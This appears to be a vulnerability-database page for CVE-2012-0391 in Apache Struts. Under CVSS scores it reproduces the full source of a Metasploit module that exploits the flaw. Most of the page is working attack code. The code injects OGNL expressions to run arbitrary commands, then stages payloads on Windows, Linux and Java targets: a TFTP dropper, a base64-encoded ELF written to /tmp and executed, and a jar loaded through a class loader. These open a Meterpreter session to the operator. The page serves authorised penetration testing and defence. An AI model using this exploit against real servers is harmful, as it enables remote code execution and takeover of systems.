CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
EPSS
Percentile
96.3%
This module exploits a remote command execution vulnerability in Apache Struts versions < 2.2.1.1. This issue is caused because the ExceptionDelegator interprets parameter values as OGNL expressions during certain exception handling for mismatched data types of properties, which allows remote attackers to execute arbitrary Java code via a crafted parameter.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Struts Remote Command Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in
Apache Struts versions < 2.2.1.1. This issue is caused because the
ExceptionDelegator interprets parameter values as OGNL expressions
during certain exception handling for mismatched data types of properties,
which allows remote attackers to execute arbitrary Java code via a
crafted parameter.
},
'Author' => [
'Johannes Dahse', # Vulnerability discovery and PoC
'Andreas Nusser', # Vulnerability discovery and PoC
'juan vazquez', # Metasploit module
'sinn3r', # Metasploit module
'mihi' # ARCH_JAVA support
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2012-0391'],
[ 'OSVDB', '78277'],
[ 'EDB', '18329']
],
'Platform' => %w{java linux win},
'Privileged' => true,
'Targets' => [
[
'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
'CmdStagerFlavor' => 'tftp'
}
],
[
'Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[
'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => '2012-01-06',
'DefaultTarget' => 2,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_delete_file
stdapi_sys_config_sysinfo
]
}
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT', ""]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
]
)
self.needs_cleanup = true
end
def execute_command(cmd, opts = {})
uri = String.new(datastore['TARGETURI'])
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win'
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux'
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,CMD,'')%2b'") if target['Platform'] == 'java'
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
vprint_status("Attempting to execute: #{cmd}")
resp = send_request_raw({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
}, 5)
end
def windows_stager
exe_fname = rand_text_alphanumeric(4 + rand(4)) + ".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ temp: '.', tftphost: tftphost })
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end
def linux_stager
cmds = "/bin/sh@-c@echo LINE | tee FILE"
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(4 + rand(4))
execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end
execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")
execute_command("/bin/sh@-c@/tmp/#{file}")
@payload_exe = "/tmp/" + file
end
def java_upload_part(part, filename, append = 'false')
cmd = ""
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd << "#f.close()"
execute_command(cmd)
end
def java_stager
@payload_exe = rand_text_alphanumeric(4 + rand(4)) + ".jar"
append = 'false'
jar = payload.encoded_jar.pack
chunk_length = 384 # 512 bytes when base64 encoded
while (jar.length > chunk_length)
java_upload_part(jar[0, chunk_length], @payload_exe, append)
jar = jar[chunk_length, jar.length - chunk_length]
append = 'true'
end
java_upload_part(jar, @payload_exe, append)
cmd = ""
# disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
cmd << "#q.setAccessible(true),#q.set(null,true),"
cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
cmd << "#q.setAccessible(true),#q.set(null,false),"
# create classloader
cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
# load class
cmd << "#c=#cl.loadClass('metasploit.Payload'),"
# invoke main method
cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
execute_command(cmd)
end
def on_new_session(client)
if client.type != "meterpreter"
print_error("Please use a meterpreter payload in order to automatically cleanup.")
print_error("The #{@payload_exe} file must be removed manually.")
return
end
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
if client.sys.config.sysinfo["OS"] =~ /Windows/
print_error("Windows does not allow running executables to be deleted")
print_error("The #{@payload_exe} file must be removed manually after migrating")
return
end
print_warning("Deleting the #{@payload_exe} file")
client.fs.file.rm(@payload_exe)
end
def exploit
unless datastore['CMD'].blank?
print_status("Executing user supplied command")
execute_command(datastore['CMD'])
return
end
case target['Platform']
when 'linux'
linux_stager
when 'win'
windows_stager
when 'java'
java_stager
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
handler
end
end